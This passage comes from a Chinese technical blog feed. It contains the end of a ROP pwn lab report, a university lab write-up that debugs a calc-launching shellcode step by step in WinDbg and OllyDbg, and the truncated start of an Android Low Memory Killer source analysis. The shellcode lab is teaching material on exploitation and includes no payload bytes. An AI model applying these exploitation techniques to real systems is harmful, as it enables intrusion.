class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%BA%8C/image-20231009233541385.png"                      alt="image-20231009233541385"                ></p><h2 id="5-实验总结"><a href="#5-实验总结" class="headerlink" title="5.实验总结"></a>5.实验总结</h2><p>通过实验，对ROP技术有了直观的认知，与此同时学习了利用python写pwn漏洞的利用脚本。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a class="link"   href="https://liuruibin.com/posts/3df3/" >https://liuruibin.com/posts/3df3/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="漏洞分析技术实验" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
    
    <category term="PWN" scheme="http://example.com/tags/PWN/"/>
    
    <category term="漏洞分析技术实验" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>漏洞分析技术实验1：弹出计算器shellcode</title>
    <link href="http://example.com/2023/10/10/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/"/>
    <id>http://example.com/2023/10/10/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/</id>
    <published>2023-10-09T17:02:06.000Z</published>
    <updated>2023-11-06T07:46:59.552Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="实验1：弹出计算器shellcode"><a href="#实验1：弹出计算器shellcode" class="headerlink" title="实验1：弹出计算器shellcode"></a>实验1：<strong>弹出计算器shellcode</strong></h1><h2 id="1-实验环境"><a href="#1-实验环境" class="headerlink" title="1. 实验环境"></a>1. 实验环境</h2><p>（1）虚拟机Winxp系统</p><p>（2）shellcode调试工具SCer.exe</p><p>（2）计算器的shellcode代码shellcode2020.mybin</p><p>（4）windbg和OllyDbg逆向分析软件</p><h2 id="2-实验原理"><a href="#2-实验原理" class="headerlink" title="2. 实验原理"></a><strong>2. 实验原理</strong></h2><p>shellcode：一段具有某种功能的可执行的汇编代码，是溢出程序和蠕虫病毒的核心。由攻击端发送到被攻击端一方，以获取被攻击端交互式shell的权限。</p><p>shellcode常见功能：获取远程shell类、修改系统配置类、中转类、验证类、其他</p><h2 id="3-实验要求一"><a href="#3-实验要求一" class="headerlink" title="3. 实验要求一"></a>3. 实验要求一</h2><p>​根据实验软件SCer.exe和shellcode代 码shellcode2020.mybin，通过 windbg逆向分析弹出计算器的漏洞利用详细过程。</p><p>（1）首先，需要在shellcode.txt的开头中加入\xcc，意为设置断点，运行到shellcode前中断。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/image-20231010100045889.png"                      alt="image-20231010100045889"                ></p><p>（2） 将shellcode.txt拖入SCer.exe程序中，并将其转成Bin文件。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/image-20231010100148241.png"                      alt="image-20231010100148241"                ></p><p>（3） 打开windbg，并运行SCer.exe。windbg-&gt;File-&gt;Attach to a Process选取SCer.exe。之后在Command窗口输入g，意为继续执行。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps1.jpg"                      alt="img"                ></p><p>（4）之后，利用SCer.exe执行shellcode功能执行刚生成的shellcode.txt.mybin，从而可以看到shellcode中断在执行开始前。</p><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps2.jpg"                      alt="img"                > </p><p>（5） 输入t进行步入操作，观察到00b40008处为动态链接库kernel32.dll跳转入口，00b40012为出口。所以在00b40008处采用p指令步过，之后发现计算器被调用，即完成了一次shellcode。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps3.jpg"                      alt="img"                ></p><p>（6）重新开始，在shellcode开始前的中断处输入db查看数据。可以发现00b4001e开始位置表示的为计算器的命名calc.exe，其存储形式为16进制ASCII。</p><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps4.jpg"                      alt="img"                > </p><p>（7） 继续运行步入00b40001-&gt;00b40019-&gt;call 00b40003，之后会将其语句的下一行的数据放入栈中(call+标号的语句含义)，所以在走过00b40003后，ebx被存入00b4001e，其为存储calc.exe的地址。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps5.jpg"                      alt="img"                ></p><p>​<img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps6.jpg"                      alt="img"                > </p><p>（8）之后调用kernel32.dll，从而调用计算器。</p><h2 id="4-实验要求二"><a href="#4-实验要求二" class="headerlink" title="4. 实验要求二"></a>4. 实验要求二</h2><p>根据实验软件shellcode2020.exe，通过OllyDbg逆向分析弹出计算器的漏洞利用详细过程。</p><p>（1）将shellcode.exe拖入到OllyICE运行调试，定位到主函数。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps7.jpg"                      alt="img"                > </p><p>（2）根据数据信息定位00402000，而设置断点进行动态调试。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps8.jpg"                      alt="img"                > </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps9.jpg"                      alt="img"                > </p><p>（3）步入后发现会将00402000地址存入指针，指针再赋值给eax寄存器，eax再传参给ebx，从而同windbg中相同，传参调用kernel32.dll动态链接库，继而调用calc.exe。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps10.jpg"                      alt="img"                > </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%80/wps11.jpg"                      alt="img"                > </p><h2 id="5-实验总结"><a href="#5-实验总结" class="headerlink" title="5. 实验总结"></a>5. 实验总结</h2><p>​通过实验和资料，Windbg为指令集操作，属于内核级别调试器，可以调试内核级的代码；Ollydbg具有窗口化操作界面，具有一定的智能分析能力，为用户态调试器。</p><p>​OllyDbg 是一个 32 位汇编器级别的分析调试器，只能调试用户态的程序。</p><p>​WinDbg是Windows平台上一款强大的用户态和内核态调试工具，是微软公司提供的免费调试器。WinDbg不仅可以调试应用程序，还可以完成内核调试、分析崩溃传储文件等工作。自从知名的内核调试工具SoftICE停止开发后，WinDbg就成了内核调试领域的首选调试器。因为它是微软公司的产品，在Win平台的兼容性上有着强大的先天优势。Windbg主要还是利用命令行进行一些调试操作，功能强大。</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a class="link"   href="https://liuruibin.com/posts/c17e/" >https://liuruibin.com/posts/c17e/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="漏洞分析技术实验" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
    
    <category term="PWN" scheme="http://example.com/tags/PWN/"/>
    
    <category term="漏洞分析技术实验" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>Android--LMK机制分析</title>
    <link href="http://example.com/2023/05/01/Android--LMK%E6%9C%BA%E5%88%B6%E5%88%86%E6%9E%90/"/>
    <id>http://example.com/2023/05/01/Android--LMK%E6%9C%BA%E5%88%B6%E5%88%86%E6%9E%90/</id>
    <published>2023-05-01T01:53:05.000Z</published>
    <updated>2023-10-05T10:17:00.405Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Android–LMK机制分析"><a href="#Android–LMK机制分析" class="headerlink" title="Android–LMK机制分析"></a>Android–LMK机制分析</h1><h2 id="一、目标"><a href="#一、目标" class="headerlink" title="一、目标"></a>一、目标</h2><p>​本篇文章主要分析 Andoird 核心机制与服务中的 ——LMK 机制，低内存管理机制（根据需要杀死进程来释放需要的内存）。源码分析主要通过 <a class="link"   href="http://androidxref.com/%EF%BC%8CAndroid" >http://androidxref.com/，Android <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 版本为 Marshmallow-Android 6.0.1_r10, 内核版本为 3.18。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/AndroidLMK/1.webp"                      alt="1"                ></p><p>源码位置如下：</p><table><thead><tr><th>源代码名称</th><th>路径位置</th></tr></thead><tbody><tr><td>lowmemorykiller.c</td><td>&#x2F;drivers&#x2F;staging&#x2F;android&#x2F;lowmemorykiller.c</td></tr><tr><td>lmkd.c</td><td>&#x2F;system&#x2F;core&#x2F;lmkd&#x2F;lmkd.c</td></tr><tr><td>ProcessList.java</td><td>&#x2F;frameworks&#x2F;base&#x2F;services&#x2F;core&#x2F;java&#x2F;com&#x2F;android&#x2F;server&#x2F;am&#x2F;ProcessList.java</td></tr><tr><td>ActivityManagerService.java</td><td>&#x2F;frameworks&#x2F;base&#x2F;services&#x2F;core&#x2F;java&#x2F;com&#x2F;android&#x2F;server&#x2F;am&#x2F;ActivityManagerService.java</td></tr></tbody></table><h2 id="二、LMK概述"><a href="#二、LMK概述" class="headerlink" title="二、LMK概述"></a>二、LMK概述</h2><p><strong>1、为什么引入LowmemoryKiller</strong><br>​进程的启动分冷启动和热启动，当用户退出某一个进程的时候，并不会真正的将进程退出，而是将这个进程放到后台，以便下次启动的时候可以马上启动起来，这个过程名为热启动，这也是Android的设计理念之一。这个机制会带来一个问题，每个进程都有自己独立的内存地址空间，随着应用打开数量的增多,系统已使用的内存越来越大，就很有可能导致系统内存不足。为了解决这个问题，系统引入LowmemoryKiller(简称lmk)管理所有进程，根据<strong>一定策略</strong>来kill某个进程并释放占用的内存，保证系统的正常运行。</p><p><strong>2、 LMK基本原理</strong><br>​所有应用进程都是从zygote孵化出来的，记录在AMS中mLruProcesses列表中，由AMS进行统一管理，AMS中会根据进程的状态更新进程对应的oom_adj值，这个值会通过文件传递到kernel中去，kernel有个低内存回收机制，在内存达到一定阀值时会触发清理oom_adj值高的进程腾出更多的内存空间，这就是Lowmemorykiller工作原理。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/AndroidLMK/2.webp"                      alt="2"                ></p><h2 id="三、核心机制源码解读"><a href="#三、核心机制源码解读" class="headerlink" title="三、核心机制源码解读"></a>三、核心机制源码解读</h2><p>​     <strong>Framework层通过调整adj的值和阈值数组，输送给kernel中的lmk，为lmk提供杀进程的原材料</strong>，因为用户空间和内核空间相互隔离，就采用了文件节点进行通讯，用socket将adj的值与阈值数组传给lmkd(5.0之后不在由AMS直接与lmk通信，引入lmkd守护进程)，lmkd将这些值写到内核节点中。lmk通过读取这些节点，实现进程的kill，所以整个lmk机制大概可分成三层。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/AndroidLMK/3.webp"                      alt="3"                ></p><h3 id="3-1-Framework层"><a href="#3-1-Framework层" class="headerlink" title="3.1 Framework层"></a>3.1 Framework层</h3><p>位于<code>ProcessList.java</code>中定义了3种命令类型，这些文件的定义必须跟<code>lmkd.c</code>定义完全一致，格式分别如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">LMK_TARGET &lt;minfree&gt; &lt;minkillprio&gt; ... (up to 6 pairs)</span><br><span class="line">LMK_PROCPRIO &lt;pid&gt; &lt;prio&gt;</span><br><span class="line">LMK_PROCREMOVE &lt;pid&gt;</span><br></pre></td></tr></table></figure></div><p>上述3个命令的使用都通过<code>ProcessList.java</code>中的如下方法:</p><table><thead><tr><th>功能</th><th>命令</th><th>对应方法</th></tr></thead><tbody><tr><td>LMK_PROCPRIO</td><td>设置进程adj</td><td>PL.setOomAdj()</td></tr><tr><td>LMK_TARGET</td><td>更新oom_adj</td><td>PL.updateOomLevels()</td></tr><tr><td>LMK_PROCREMOVE</td><td>移除进程</td><td>PL.remove()</td></tr></tbody></table><p>AMS中与adj调整的有三个核心的方法，如下</p><ul><li>AMS.updateConfiguration：更新窗口配置，这个过程中，分别向&#x2F;sys&#x2F;module&#x2F;lowmemorykiller&#x2F;parameters目录下的minfree和adj节点写入相应数值；</li><li>AMS.applyOomAdjLocked：应用adj，当需要杀掉目标进程则返回false；否则返回true，这个过程中，调用setOomAdj(),向&#x2F;proc&#x2F;pid&#x2F;oom_score_adj写入oom_adj 后直接返回；</li><li>AMS.cleanUpApplicationRecordLocked &amp; AMS.handleAppDiedLocked：进程死亡后，调用remove()，直接返回;</li></ul><h4 id="3-1-1-AMS-updateConfiguration"><a href="#3-1-1-AMS-updateConfiguration" class="headerlink" title="3.1.1 AMS.updateConfiguration"></a>3.1.1 AMS.updateConfiguration</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public boolean updateConfiguration(Configuration values) &#123;</span><br><span class="line">    synchronized(this) &#123;</span><br><span class="line">        if (values == null &amp;&amp; mWindowManager != null) &#123;</span><br><span class="line">            // sentinel: fetch the current configuration from the window manager</span><br><span class="line">            values = mWindowManager.computeNewConfiguration(DEFAULT_DISPLAY);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        if (mWindowManager != null) &#123;</span><br><span class="line">            // Update OOM levels based on display size.</span><br><span class="line">            mProcessList.applyDisplaySize(mWindowManager);</span><br><span class="line">        &#125;</span><br><span class="line">     .....</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>mProcessList是ProcessList对象，调用applyDisplaySize方法，基于屏幕尺寸，更新LMK的水位线</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">/frameworks/base/services/core/java/com/android/server/am/ProcessList.java</span><br><span class="line">198    void applyDisplaySize(WindowManagerService wm) &#123;</span><br><span class="line">199        if (!mHaveDisplaySize) &#123;</span><br><span class="line">200            Point p = new Point();</span><br><span class="line">201            // TODO(multi-display): Compute based on sum of all connected displays&#x27; resolutions.</span><br><span class="line">202            wm.getBaseDisplaySize(Display.DEFAULT_DISPLAY, p);</span><br><span class="line">203            if (p.x != 0 &amp;&amp; p.y != 0) &#123;</span><br><span class="line">                     //传入屏幕的尺寸</span><br><span class="line">204                updateOomLevels(p.x, p.y, true);</span><br><span class="line">205                mHaveDisplaySize = true;</span><br><span class="line">206            &#125;</span><br><span class="line">207        &#125;</span><br><span class="line">208    &#125;</span><br></pre></td></tr></table></figure></div><p>传入屏幕的尺寸更新水位线，逻辑很简单</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">210    private void updateOomLevels(int displayWidth, int displayHeight, boolean write) &#123;</span><br><span class="line">211        // Scale buckets from avail memory: at 300MB we use the lowest values to</span><br><span class="line">212        // 700MB or more for the top values.</span><br><span class="line">213        float scaleMem = ((float)(mTotalMemMb-350))/(700-350);</span><br><span class="line">214</span><br><span class="line">215        //根据屏幕大小计算出scale</span><br><span class="line">216        int minSize = 480*800;  //  384000</span><br><span class="line">217        int maxSize = 1280*800; // 1024000  230400 870400  .264</span><br><span class="line">218        float scaleDisp = ((float)(displayWidth*displayHeight)-minSize)/(maxSize-minSize);</span><br><span class="line">            //google代码就是这么写的，表示不好评价了</span><br><span class="line">219        if (false) &#123;</span><br><span class="line">220            Slog.i(&quot;XXXXXX&quot;, &quot;scaleMem=&quot; + scaleMem);</span><br><span class="line">221            Slog.i(&quot;XXXXXX&quot;, &quot;scaleDisp=&quot; + scaleDisp + &quot; dw=&quot; + displayWidth</span><br><span class="line">222                    + &quot; dh=&quot; + displayHeight);</span><br><span class="line">223        &#125;</span><br><span class="line">224</span><br><span class="line">225        float scale = scaleMem &gt; scaleDisp ? scaleMem : scaleDisp;</span><br><span class="line">226        if (scale &lt; 0) scale = 0;</span><br><span class="line">227        else if (scale &gt; 1) scale = 1;</span><br><span class="line">228        int minfree_adj = Resources.getSystem().getInteger(</span><br><span class="line">229                com.android.internal.R.integer.config_lowMemoryKillerMinFreeKbytesAdjust);</span><br><span class="line">230        int minfree_abs = Resources.getSystem().getInteger(</span><br><span class="line">231                com.android.internal.R.integer.config_lowMemoryKillerMinFreeKbytesAbsolute);</span><br><span class="line">232        if (false) &#123;</span><br><span class="line">233            Slog.i(&quot;XXXXXX&quot;, &quot;minfree_adj=&quot; + minfree_adj + &quot; minfree_abs=&quot; + minfree_abs);</span><br><span class="line">234        &#125;</span><br><span class="line">235</span><br><span class="line">236        final boolean is64bit = Build.SUPPORTED_64_BIT_ABIS.length &gt; 0;</span><br><span class="line">237       //通过下面的运算，将mOomMinFreeLow和mOomMinFreeHigh经过运算</span><br><span class="line">         // 最后得出的 值存入mOomMinFree中，而如何计算这个值，是根据当前屏幕的分辨率和内存大小来</span><br><span class="line">238        for (int i=0; i&lt;mOomAdj.length; i++) &#123;</span><br><span class="line">239            int low = mOomMinFreeLow[i];</span><br><span class="line">240            int high = mOomMinFreeHigh[i];</span><br><span class="line">241            if (is64bit) &#123;</span><br><span class="line">242                // 64-bit机器会high增大</span><br><span class="line">243                if (i == 4) high = (high*3)/2;</span><br><span class="line">244                else if (i == 5) high = (high*7)/4;</span><br><span class="line">245            &#125;</span><br><span class="line">246            mOomMinFree[i] = (int)(low + ((high-low)*scale));</span><br><span class="line">247        &#125;</span><br><span class="line">              .......</span><br><span class="line">287</span><br><span class="line">288        if (write) &#123;</span><br><span class="line">289            ByteBuffer buf = ByteBuffer.allocate(4 * (2*mOomAdj.length + 1));</span><br><span class="line">290            buf.putInt(LMK_TARGET);</span><br><span class="line">291            for (int i=0; i&lt;mOomAdj.length; i++) &#123;</span><br><span class="line">292                buf.putInt((mOomMinFree[i]*1024)/PAGE_SIZE);//五个水位线</span><br><span class="line">293                buf.putInt(mOomAdj[i]);//与上面水位线对应的五个adj数值</span><br><span class="line">294            &#125;</span><br><span class="line">295            //将AMS已经计算好的值通过socket发送到lmkd</span><br><span class="line">296            writeLmkd(buf);</span><br><span class="line">297            SystemProperties.set(&quot;sys.sysctl.extra_free_kbytes&quot;, Integer.toString(reserve));</span><br><span class="line">298        &#125;</span><br><span class="line">299        // GB: 2048,3072,4096,6144,7168,8192</span><br><span class="line">300        // HC: 8192,10240,12288,14336,16384,20480</span><br><span class="line">301    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>​这里携带的命令协议是LMK_TARGET，它对应到kernel里面执行的函数是cmd_target，要求kernel干的事情就是更新两面两个文件</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/sys/module/lowmemorykiller/parameters/minfree</span><br><span class="line">/sys/module/lowmemorykiller/parameters/adj</span><br></pre></td></tr></table></figure></div><p>​minfree文件中的值可以理解成五个水位线，而adj这个文件中的值与minfree文件中的数值一一对应，意味着到达什么样的水位线，杀死对应数值的进程。而AMS里面就是通过调用applyDisplaySize方法，基于屏幕尺寸以及机器的CPU位数，更新LMK的水位线的。</p><h4 id="3-2-2-AMS-applyOomAdjLocked"><a href="#3-2-2-AMS-applyOomAdjLocked" class="headerlink" title="3.2.2 AMS.applyOomAdjLocked"></a>3.2.2 AMS.applyOomAdjLocked</h4><p>​再看applyOomAdjLocked方法，这个方法的作用是应用adj，这个过程中，调用setOomAdj(),向&#x2F;proc&#x2F;pid&#x2F;oom_score_adj写入oom_adj 后直接返回；系统中更新adj的操作很频繁，四大组件的生命周期都会影响着adj的值。而更新adj一般由applyOomAdjLocked完成。</p><p>下面是AMS中adj的定义：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/AndroidLMK/4.webp"                      alt="4"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/AndroidLMK/5.webp"                      alt="4"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C6.webp"                      alt="6"                ></p><p>​在Android M之后adj数值变大了，因为这样adj可以更加细化了，即使相同进程，不同任务栈的adj也可以不一样。从Android P开始，进一步细化ADJ级别，增加了VISIBLE_APP_LAYER_MAX(99)，是VISIBLE_APP_ADJ(100)跟PERCEPTIBLE_APP_ADJ(200)之间有99个槽，则可见级别ADJ的取值范围为[100,199]。 算法会根据其所在task的mLayerRank来调整其ADJ，100加上mLayerRank就等于目标ADJ，layer越大，则ADJ越小。</p><p>AMS调用applyOomAdjLocked更新adj。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">/frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java</span><br><span class="line">22000    private final boolean applyOomAdjLocked(ProcessRecord app, boolean doingAll, long now, long nowElapsed) &#123;</span><br><span class="line">             .........</span><br><span class="line">22009</span><br><span class="line">22010        if (app.curAdj != app.setAdj) &#123;</span><br><span class="line">                    //之前的adj不等于计算的adj，需要更新</span><br><span class="line">22011            ProcessList.setOomAdj(app.pid, app.uid, app.curAdj);</span><br><span class="line">22012            if (DEBUG_SWITCH || DEBUG_OOM_ADJ || mCurOomAdjUid == app.info.uid) &#123;</span><br><span class="line">22013                String msg = &quot;Set &quot; + app.pid + &quot; &quot; + app.processName + &quot; adj &quot;</span><br><span class="line">22014                        + app.curAdj + &quot;: &quot; + app.adjType;</span><br><span class="line">22015                reportOomAdjMessageLocked(TAG_OOM_ADJ, msg);</span><br><span class="line">22016            &#125;</span><br><span class="line">22017            app.setAdj = app.curAdj;</span><br><span class="line">22018            app.verifiedAdj = ProcessList.INVALID_ADJ;</span><br><span class="line">22019        &#125;</span><br><span class="line">                .........</span><br><span class="line">22020</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">/frameworks/base/services/core/java/com/android/server/am/ProcessList.java</span><br><span class="line">630    public static final void setOomAdj(int pid, int uid, int amt) &#123;</span><br><span class="line">631        if (amt == UNKNOWN_ADJ)</span><br><span class="line">632            return;</span><br><span class="line">633</span><br><span class="line">634        long start = SystemClock.elapsedRealtime();</span><br><span class="line">635        ByteBuffer buf = ByteBuffer.allocate(4 * 4);</span><br><span class="line">636        buf.putInt(LMK_PROCPRIO);</span><br><span class="line">637        buf.putInt(pid);</span><br><span class="line">638        buf.putInt(uid);</span><br><span class="line">639        buf.putInt(amt);</span><br><span class="line">              //将AMS已经计算好的adj值通过socket发送到lmkd</span><br><span class="line">640        writeLmkd(buf);</span><br><span class="line">641        long now = SystemClock.elapsedRealtime();</span><br><span class="line">642        if ((now-start) &gt; 250) &#123;</span><br><span class="line">643            Slog.w(&quot;ActivityManager&quot;, &quot;SLOW OOM ADJ: &quot; + (now-start) + &quot;ms for pid &quot; + pid</span><br><span class="line">644                    + &quot; = &quot; + amt);</span><br><span class="line">645        &#125;</span><br><span class="line">646    &#125;</span><br></pre></td></tr></table></figure></div><p>这里携带的命令协议是LMK_PROCPRIO，对应kernel里面cmd_procprio函数，要求kernel干的事情是—把AMS发送过来的adj值更新到下面的文件中去。这样内存紧张的时候，LMK就会遍历内核中进程列表，杀死相应adj的进程了。</p><h4 id="3-1-3、-AMS-cleanUpApplicationRecordLocked-amp-AMS-handleAppDiedLocked"><a href="#3-1-3、-AMS-cleanUpApplicationRecordLocked-amp-AMS-handleAppDiedLocked" class="headerlink" title="3.1.3、 AMS.cleanUpApplicationRecordLocked &amp; AMS.handleAppDiedLocked"></a>3.1.3、 AMS.cleanUpApplicationRecordLocked &amp; AMS.handleAppDiedLocked</h4><p>进程死掉后，会调用该进程的ProcessList.remove方法，也会通过Socket通知lmkd更新adj。</p><div class="highlight-container" 